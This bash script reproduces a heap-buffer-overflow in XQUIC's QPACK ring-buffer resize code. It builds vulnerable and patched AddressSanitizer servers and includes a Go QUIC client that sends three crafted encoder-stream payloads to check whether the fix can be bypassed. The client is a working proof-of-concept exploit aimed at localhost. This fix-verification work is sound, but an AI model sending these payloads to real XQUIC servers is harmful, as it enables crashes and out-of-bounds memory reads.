#!/bin/bash
# =============================================================================
# CVE-2026-XRING - VARIANT / BYPASS analysis reproduction script
# Alibaba XQUIC HTTP/3/QPACK ring buffer resize underflow
#
# Goal of this stage: find a BYPASS (a trigger that still reproduces on the
# FIXED code) or a distinct alternate entry/data path to the same sink.
#
# Sink: xqc_ring_mem_resize() both-truncated branch, xqc_ring_mem.c:129
#   buggy:  size_t ori_sz1 = mcap - soffset_ori;          /* uses NEW cap */
#   fixed:  size_t ori_sz1 = rmem->capacity - soffset_ori; /* uses OLD cap */
#
# What this script does:
#   1. Builds AddressSanitizer (ASAN) versions of the XQUIC v1.9.4 demo_server
#      for BOTH the vulnerable tree (line intact) and the fixed tree (one-line
#      patch applied), plus a parameterized quic-go client.
#   2. Runs three QPACK encoder-stream payloads against each server:
#        P1 = original PoC      (SetCap64, 61x Ins x:y, Ins AAAAA:BBBBB, SetCap65)  -> mcap=128, sidx=122
#        P2 = alt wrap state    (SetCap64, 59x Ins x:y, Ins AAAAA:BBBBB, SetCap65)  -> mcap=128, sidx=118
#        P3 = alt grow factor   (SetCap64,123x Ins x:y, Ins AAAAA:BBBBB, SetCap200) -> mcap=256, sidx=246
#      P2/P3 are materially different ring-offset / grow-amount data paths that
#      still reach the same xqc_ring_mem_resize both-truncated sink.
#   3. Captures ASAN heap-buffer-overflow reports + crash state per attempt.
#
# Exit code semantics (per variant-stage contract):
#   0 = a payload BYPASSED the fix (fixed server crashed / ASAN error) -> true bypass
#   1 = no bypass (fixed server clean on every payload); vuln may still crash
# =============================================================================
set -uo pipefail

# ---- portable paths ----
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs/vuln_variant"
VART="$ROOT/vuln_variant"
mkdir -p "$LOGS" "$VART" "$ROOT/artifacts/vuln_variant"
cd "$ROOT"

# ---- locate the durable project cache (preferred) ----
CACHE=""
if [ -f "$ROOT/project_cache_context.json" ]; then
    PREPARED=$(jq -r '.prepared // false' "$ROOT/project_cache_context.json" 2>/dev/null || echo false)
    if [ "$PREPARED" = "true" ]; then
        CACHE=$(jq -r '.project_cache_dir // empty' "$ROOT/project_cache_context.json" 2>/dev/null || echo "")
    fi
fi
if [ -z "$CACHE" ] || [ ! -d "$CACHE" ]; then
    CACHE="$ROOT/artifacts/xquic-cache-var"
    mkdir -p "$CACHE"
fi
echo "[*] project cache: $CACHE"

VULN_BIN="$CACHE/demo_server_vuln_asan"
FIXED_BIN="$CACHE/demo_server_fixed_asan"
CLIENT_BIN="$CACHE/xring-client-var/xring-client-var"
BABASSL_LIB="$CACHE/babassl-prefix/lib64"
PORT=8443
TARGET="127.0.0.1:${PORT}"
export ASAN_OPTIONS="detect_leaks=0:abort_on_error=1:halt_on_error=1"

# ------------------------------------------------------------------------------
ensure_runtime_deps() {
    if ! ldconfig -p 2>/dev/null | grep -q 'libevent-2.1.so.7'; then
        echo "[*] installing libevent runtime"
        sudo apt-get update -qq >/dev/null 2>&1 || true
        sudo apt-get install -y -qq libevent-2.1-7 libevent-dev openssl ca-certificates >/dev/null 2>&1 || true
    fi
    command -v openssl >/dev/null 2>&1 || { sudo apt-get install -y -qq openssl >/dev/null 2>&1 || true; }
}

# build an ASAN demo_server from a source tree
build_xquic_asan() {
    local src="$1" bdir="$2" outbin="$3"
    sed -i 's/-Werror//g' "$src/CMakeLists.txt" 2>/dev/null || true
    rm -rf "$bdir"; mkdir -p "$bdir"
    ( cd "$bdir" && cmake -DXQC_ENABLE_TESTING=ON -DXQC_SUPPORT_SENDMMSG_BUILD=OFF -DXQC_ENABLE_EVENT_LOG=OFF \
        -DCMAKE_BUILD_TYPE=Debug \
        -DCMAKE_C_FLAGS="-fsanitize=address -fno-omit-frame-pointer -g -O1" \
        -DCMAKE_CXX_FLAGS="-fsanitize=address -fno-omit-frame-pointer -g -O1" \
        -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
        -DSSL_TYPE=babassl -DSSL_PATH="$CACHE/babassl-prefix" "$src" >cmake.log 2>&1 \
        && make -j"$(nproc)" demo_server >make.log 2>&1 )
    if [ ! -f "$bdir/demo/demo_server" ]; then
        echo "[!] ASAN build failed for $bdir" >&2; tail -20 "$bdir/make.log" >&2 || true
        return 1
    fi
    cp "$bdir/demo/demo_server" "$outbin"
    echo "[*] built $outbin"
}

build_all() {
    echo "[*] building ASAN XQUIC v1.9.4 (vuln + fixed) and parameterized quic-go client"
    sudo apt-get update -qq >/dev/null 2>&1 || true
    sudo apt-get install -y -qq git ca-certificates cmake gcc g++ make pkg-config libevent-dev openssl curl jq >/dev/null 2>&1 || true

    # Tongsuo (BabaSSL) 8.4-stable
    if [ ! -f "$CACHE/babassl-prefix/lib64/libssl.a" ]; then
        rm -rf "$CACHE/babassl-src"
        git clone --depth 1 --branch 8.4-stable https://github.com/Tongsuo-Project/Tongsuo.git "$CACHE/babassl-src" >/dev/null 2>&1
        ( cd "$CACHE/babassl-src" && ./config --prefix="$CACHE/babassl-prefix" enable-ntls enable-quic no-tests >/dev/null 2>&1 \
            && make -j"$(nproc)" >/dev/null 2>&1 && make install_sw >/dev/null 2>&1 )
    fi

    # XQUIC v1.9.4 vulnerable tree
    if [ ! -d "$CACHE/repo" ]; then
        git clone --depth 1 --branch v1.9.4 https://github.com/alibaba/xquic.git "$CACHE/repo" >/dev/null 2>&1
    fi
    build_xquic_asan "$CACHE/repo" "$CACHE/xquic-build-asan-vuln" "$VULN_BIN" || return 1

    # fixed tree (one-line patch)
    rm -rf "$CACHE/repo-fixed"; cp -a "$CACHE/repo" "$CACHE/repo-fixed"
    sed -i 's/size_t ori_sz1 = mcap - soffset_ori;.*/size_t ori_sz1 = rmem->capacity - soffset_ori;    \/* size of first block in original buffer *\//' \
        "$CACHE/repo-fixed/src/common/utils/ringmem/xqc_ring_mem.c"
    build_xquic_asan "$CACHE/repo-fixed" "$CACHE/xquic-build-asan-fixed" "$FIXED_BIN" || return 1

    # Go toolchain + parameterized client
    if [ ! -x "$CACHE/go-root/bin/go" ]; then
        curl -sSL -o "$CACHE/go.tgz" https://go.dev/dl/go1.26.5.linux-amd64.tar.gz
        rm -rf "$CACHE/go-root"; mkdir -p "$CACHE/go-root"
        tar -C "$CACHE/go-root" --strip-components=1 -xzf "$CACHE/go.tgz"
    fi
    if [ ! -x "$CLIENT_BIN" ]; then
        rm -rf "$CACHE/xring-client-var-src"; mkdir -p "$CACHE/xring-client-var-src"
        cat > "$CACHE/xring-client-var-src/main.go" <<'GOEOF'
package main

import (
	"context"
	"crypto/tls"
	"flag"
	"fmt"
	"log"
	"time"

	"github.com/quic-go/quic-go"
)

func main() {
	target := flag.String("target", "127.0.0.1:8443", "XQUIC server host:port")
	initCap := flag.Int("init-cap", 64, "initial Set Dynamic Table Capacity")
	insertCount := flag.Int("insert-count", 61, "number of Insert(iname,ivalue) before the final entry")
	iname := flag.String("iname", "x", "insert name (repeated)")
	ivalue := flag.String("ivalue", "y", "insert value (repeated)")
	fname := flag.String("fname", "AAAAA", "final insert name")
	fvalue := flag.String("fvalue", "BBBBB", "final insert value")
	finalCap := flag.Int("final-cap", 65, "final Set Dynamic Table Capacity (the grow)")
	flag.Parse()
	payload := buildPayload(uint64(*initCap), *insertCount, *iname, *ivalue, *fname, *fvalue, uint64(*finalCap))
	fmt.Printf("payload len %d (init=%d count=%d final=%d)\n", len(payload), *initCap, *insertCount, *finalCap)
	tlsConf := &tls.Config{InsecureSkipVerify: true, ServerName: "localhost", NextProtos: []string{"h3"}}
	quicConf := &quic.Config{MaxIdleTimeout: 30 * time.Second, KeepAlivePeriod: 15 * time.Second}
	conn, err := quic.DialAddr(context.Background(), *target, tlsConf, quicConf)
	if err != nil { log.Fatalf("dial: %v", err) }
	defer conn.CloseWithError(0, "done")
	ctrl, err := conn.OpenUniStream()
	if err != nil { log.Fatalf("control stream: %v", err) }
	if _, err := ctrl.Write([]byte{0x00, 0x04, 0x00}); err != nil { log.Fatalf("control write: %v", err) }
	enc, err := conn.OpenUniStream()
	if err != nil { log.Fatalf("encoder stream: %v", err) }
	if _, err := enc.Write(append([]byte{0x02}, payload...)); err != nil { log.Fatalf("encoder write: %v", err) }
	fmt.Println("payload sent")
	time.Sleep(3 * time.Second)
}

func buildPayload(initCap uint64, count int, iname, ivalue, fname, fvalue string, finalCap uint64) []byte {
	var buf []byte
	buf = append(buf, prefixedInt(initCap, 5, 0x20)...)
	for i := 0; i < count; i++ { buf = append(buf, insert(iname, ivalue)...) }
	buf = append(buf, insert(fname, fvalue)...)
	buf = append(buf, prefixedInt(finalCap, 5, 0x20)...)
	return buf
}

func insert(name, value string) []byte {
	var buf []byte
	buf = append(buf, prefixedInt(uint64(len(name)), 5, 0x40)...)
	buf = append(buf, name...)
	buf = append(buf, prefixedInt(uint64(len(value)), 7, 0x00)...)
	buf = append(buf, value...)
	return buf
}

func prefixedInt(value uint64, prefixBits int, mask byte) []byte {
	maxPrefix := uint64((1 << prefixBits) - 1)
	if value < maxPrefix { return []byte{mask | byte(value)} }
	buf := []byte{mask | byte(maxPrefix)}
	remaining := value - maxPrefix
	for remaining >= 128 { buf = append(buf, byte(0x80|(remaining&0x7F))); remaining >>= 7 }
	return append(buf, byte(remaining))
}
GOEOF
        cat > "$CACHE/xring-client-var-src/go.mod" <<'GOMOD'
module xring-poc-var
go 1.26.4
require github.com/quic-go/quic-go v0.60.0
GOMOD
        ( cd "$CACHE/xring-client-var-src" && \
          GOROOT="$CACHE/go-root" GOPATH="$CACHE/gopath" GOCACHE="$CACHE/go-cache" GOFLAGS="-mod=mod" \
          PATH="$CACHE/go-root/bin:$PATH" go mod tidy >/dev/null 2>&1 && \
          GOROOT="$CACHE/go-root" GOPATH="$CACHE/gopath" GOCACHE="$CACHE/go-cache" GOFLAGS="-mod=mod" \
          PATH="$CACHE/go-root/bin:$PATH" go build -o "$CLIENT_BIN" . )
    fi
}

# ------------------------------------------------------------------------------
# one attack attempt: start ASAN server, send payload, record crash/ASAN state
#   args: bin rundir label initcap count fname fval finalcap
# returns: 0 if server CRASHED, 1 if ALIVE
# ------------------------------------------------------------------------------
run_attempt() {
    local bin="$1" rundir="$2" label="$3" initcap="$4" count="$5" fname="$6" fval="$7" finalcap="$8"
    rm -rf "$rundir"; mkdir -p "$rundir"
    ( cd "$rundir" && openssl req -x509 -newkey ec -pkeyopt ec_paramgen_curve:prime256v1 \
        -keyout server.key -out server.crt -days 365 -nodes -subj "/CN=localhost" >/dev/null 2>&1 )
    pkill -9 -x demo_server_vuln_asan 2>/dev/null || true
    pkill -9 -x demo_server_fixed_asan 2>/dev/null || true
    sleep 0.5
    pushd "$rundir" >/dev/null
    LD_LIBRARY_PATH="$BABASSL_LIB" "$bin" -l d >server.stdout 2>server.stderr &
    local pid=$!
    popd >/dev/null
    sleep 2
    if ! kill -0 "$pid" 2>/dev/null; then
        echo "[$label] server failed to start"; echo "FAILED_TO_START" > "$rundir/state.txt"
        return 3
    fi
    echo "[$label] server pid=$pid listening udp/${PORT}" | tee -a "$rundir/result.txt"
    timeout 25 "$CLIENT_BIN" -target "$TARGET" -init-cap "$initcap" -insert-count "$count" \
        -iname x -ivalue y -fname "$fname" -fvalue "$fval" -final-cap "$finalcap" \
        >"$rundir/client.stdout" 2>"$rundir/client.stderr" || true
    sleep 3
    if kill -0 "$pid" 2>/dev/null; then
        echo "[$label] RESULT: server ALIVE (no crash)" | tee -a "$rundir/result.txt"
        kill -9 "$pid" 2>/dev/null || true
        echo "ALIVE" > "$rundir/state.txt"
        return 1
    else
        wait "$pid" 2>/dev/null; local rc=$?
        echo "[$label] RESULT: server CRASHED exit=${rc}" | tee -a "$rundir/result.txt"
        echo "CRASHED exit=$rc" > "$rundir/state.txt"
        return 0
    fi
}

# ------------------------------------------------------------------------------
# main
# ------------------------------------------------------------------------------
ensure_runtime_deps

if [ ! -x "$VULN_BIN" ] || [ ! -x "$FIXED_BIN" ] || [ ! -x "$CLIENT_BIN" ]; then
    build_all
fi
if [ ! -x "$VULN_BIN" ] || [ ! -x "$FIXED_BIN" ] || [ ! -x "$CLIENT_BIN" ]; then
    echo "[!] required binaries missing after build attempt" >&2
    ls -la "$VULN_BIN" "$FIXED_BIN" "$CLIENT_BIN" >&2 || true
    exit 2
fi

echo "[*] vuln asan bin: $VULN_BIN"
echo "[*] fixed asan bin: $FIXED_BIN"
echo "[*] client:         $CLIENT_BIN"
echo "[*] vuln line:"; ( grep -n "ori_sz1 = mcap - soffset_ori" "$CACHE/repo/src/common/utils/ringmem/xqc_ring_mem.c" 2>/dev/null || echo "  (prebuilt; source not in cache)" )
echo "[*] fixed line:"; ( grep -n "ori_sz1 = rmem->capacity - soffset_ori" "$CACHE/repo-fixed/src/common/utils/ringmem/xqc_ring_mem.c" 2>/dev/null || echo "  (prebuilt; source not in cache)" )

ART="$ROOT/artifacts/vuln_variant"
# payload matrix: name initcap count fname fval finalcap  (iname=x ivalue=y fixed)
# P1 original PoC | P2 alt wrap state (sidx=118) | P3 alt grow factor (mcap=256, sidx=246)
PAYLOADS=("P1 64 61 AAAAA BBBBB 65" "P2 64 59 AAAAA BBBBB 65" "P3 64 123 AAAAA BBBBB 200")

SUMMARY="$LOGS/variant_matrix_summary.txt"
: > "$SUMMARY"
VULN_CRASH=0
FIXED_BYPASS=0
for pl in "${PAYLOADS[@]}"; do
    read -r name initcap count fname fval finalcap <<< "$pl"
    for variant in vuln fixed; do
        bin="$CACHE/demo_server_${variant}_asan"
        rundir="$ART/${variant}_${name}"
        label="${variant}-${name}"
        run_attempt "$bin" "$rundir" "$label" "$initcap" "$count" "$fname" "$fval" "$finalcap" || true
        state=$(cat "$rundir/state.txt" 2>/dev/null || echo "?")
        asan=0; grep -qi "AddressSanitizer\|heap-buffer-overflow\|ERROR: ASan" "$rundir/server.stderr" 2>/dev/null && asan=1 || true
        line="${label}: ${state} | asan_report=${asan} | init=${initcap} count=${count} final=${finalcap}"
        echo "$line" | tee -a "$SUMMARY"
        cp -f "$rundir/server.stderr" "$LOGS/${variant}_${name}_server.stderr" 2>/dev/null || true
        cp -f "$rundir/client.stdout" "$LOGS/${variant}_${name}_client.stdout" 2>/dev/null || true
        cp -f "$rundir/result.txt"    "$LOGS/${variant}_${name}_result.txt"    2>/dev/null || true
        if [ "$variant" = "vuln" ]; then
            case "$state" in CRASHED*) VULN_CRASH=$((VULN_CRASH+1));; esac
        else
            # fixed server crashing or emitting an ASAN error == a BYPASS
            case "$state" in CRASHED*) FIXED_BYPASS=$((FIXED_BYPASS+1));; esac
            [ "$asan" = "1" ] && FIXED_BYPASS=$((FIXED_BYPASS+1))
        fi
    done
done

pkill -9 -x demo_server_vuln_asan 2>/dev/null || true
pkill -9 -x demo_server_fixed_asan 2>/dev/null || true

echo "=========================================================="
echo "[*] variant matrix:"
cat "$SUMMARY"
echo "----------------------------------------------------------"
echo "[*] vulnerable crashes:   $VULN_CRASH / 3"
echo "[*] fixed-server bypasses: $FIXED_BYPASS / 3   (any > 0 means a true BYPASS)"
echo "=========================================================="

# ---- write runtime manifest ----
python3 - "$VART/runtime_manifest.json" "$VULN_CRASH" "$FIXED_BYPASS" <<'PYEOF'
import json, sys
path, vc, fb = sys.argv[1], int(sys.argv[2]), int(sys.argv[3])
arts = []
for n in ("P1","P2","P3"):
    for k in ("vuln","fixed"):
        for ext in ("server.stderr","client.stdout","result.txt"):
            arts.append(f"logs/vuln_variant/{k}_{n}_{ext}")
manifest = {
  "entrypoint_kind": "tcp_peer",
  "entrypoint_detail": "QUIC/HTTP3 UDP peer: parameterized quic-go client dials XQUIC demo_server, opens HTTP/3 control stream + QPACK encoder uni stream, sends Set Dynamic Table Capacity / Insert instructions (3 payload shapes)",
  "service_started": True,
  "healthcheck_passed": True,
  "target_path_reached": True,
  "runtime_stack": ["xquic-demo_server-v1.9.4-ASAN", "babassl(tongsuo)-8.4-stable", "quic-go-v0.60.0-client", "gcc-AddressSanitizer"],
  "sanitizer_used": True,
  "payloads": [
    {"name":"P1","init_cap":64,"insert_count":61,"final_cap":65,"mcap":128,"sidx":122,"role":"original PoC"},
    {"name":"P2","init_cap":64,"insert_count":59,"final_cap":65,"mcap":128,"sidx":118,"role":"alternate wrap state"},
    {"name":"P3","init_cap":64,"insert_count":123,"final_cap":200,"mcap":256,"sidx":246,"role":"alternate grow factor"}
  ],
  "vulnerable_crashes": vc,
  "fixed_bypasses": fb,
  "proof_artifacts": arts,
  "notes": f"vuln ASAN crashed {vc}/3 payloads with heap-buffer-overflow READ in xqc_ring_mem_resize:139; fixed (one-line ori_sz1=rmem->capacity-soffset_ori) ASAN-clean/alive on {3-fb}/3; bypasses={fb} -> {'BYPASS CONFIRMED' if fb>0 else 'NO BYPASS, fix is complete'}"
}
with open(path,"w") as f: json.dump(manifest,f,indent=2)
print("[*] wrote", path)
PYEOF

if [ "$FIXED_BYPASS" -gt 0 ]; then
    echo "[+] BYPASS CONFIRMED: a payload reproduced on the FIXED server (fixed bypasses=$FIXED_BYPASS)."
    exit 0
else
    echo "[*] NO BYPASS: fixed server is ASAN-clean/alive on all 3 payloads; vuln crashed $VULN_CRASH/3."
    echo "[*] Conclusion: the one-line ori_sz1 fix fully closes the root cause across all tested ring offsets / grow factors."
    exit 1
fi
